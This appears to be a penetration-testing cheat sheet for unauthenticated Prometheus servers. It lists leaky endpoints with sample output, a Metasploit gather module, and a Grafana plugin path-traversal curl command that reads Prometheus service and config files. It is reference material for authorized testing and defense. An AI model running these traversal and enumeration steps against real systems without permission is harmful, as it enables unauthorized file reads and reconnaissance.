Pentesting Prometheus

Prometheus commonly exposes HTTP on TCP/9090. If unauthenticated, it can leak version, runtime flags, scrape targets, config paths, and debug endpoints.

Discovery

Nmap/WhatWeb indicators:

9090/tcp open  http  Golang net/http server
| http-title: Prometheus Time Series Collection and Processing Server
|_Requested resource was /graph

http://TARGET:9090/graph
Title[Prometheus Time Series Collection and Processing Server]

Useful Endpoints

Version and runtime details:

http://TARGET:9090/status

Observed useful values:

Working directory: /
Configuration reload: Successful
Storage retention: 15d
version: 2.32.1
buildUser: root@54b6dbd48b97
goVersion: go1.17.5

Targets:

http://TARGET:9090/api/v1/targets

Observed target output:

{
  "job": "prometheus",
  "scrapeUrl": "http://localhost:9090/metrics",
  "globalUrl": "http://HOSTNAME:9090/metrics",
  "health": "up"
}

Metrics and flags:

http://TARGET:9090/metrics
http://TARGET:9090/flags

Debug endpoints:

http://TARGET:9090/debug/pprof/

Config File Locations

If you have file read through another service, check the systemd service first to find Prometheus paths:

curl --path-as-is "http://GRAFANA:3000/public/plugins/piechart/../../../../../../../../../../../../etc/systemd/system/prometheus.service"

Observed service:

[Unit]
Description=Prometheus
Wants=network-online.target
After=network-online.target

[Service]
User=prometheus
Group=prometheus
Type=simple
ExecStart=/usr/local/bin/prometheus     --config.file /etc/prometheus/prometheus.yml     --storage.tsdb.path /var/lib/prometheus/     --web.console.templates=/etc/prometheus/consoles     --web.console.libraries=/etc/prometheus/console_libraries

[Install]
WantedBy=multi-user.target

Then read the config:

curl --path-as-is "http://GRAFANA:3000/public/plugins/piechart/../../../../../../../../../../../../etc/prometheus/prometheus.yml"

Useful paths from that service:

/etc/systemd/system/prometheus.service
/etc/prometheus/prometheus.yml
/var/lib/prometheus/
/etc/prometheus/consoles
/etc/prometheus/console_libraries

Metasploit Gather

Metasploit can dump Prometheus config and target data:

use auxiliary/gather/prometheus_api_gather
set RHOSTS TARGET
set RPORT 9090
set VHOST HOSTNAME
run

Useful output:

[+] Prometheus found, version: 2.32.1
[+] YAML config saved to ...
[+] JSON targets saved to ...
[+] Config file: /etc/prometheus/prometheus.yml
[+] TARGET:9090/debug/pprof/ found, potential DoS and information disclosure.

Example leaked config:

global:
  scrape_interval: 10s
  scrape_timeout: 10s
  evaluation_interval: 1m
scrape_configs:
- job_name: prometheus
  scrape_interval: 5s
  scrape_timeout: 5s
  metrics_path: /metrics
  scheme: http
  static_configs:
  - targets:
    - localhost:9090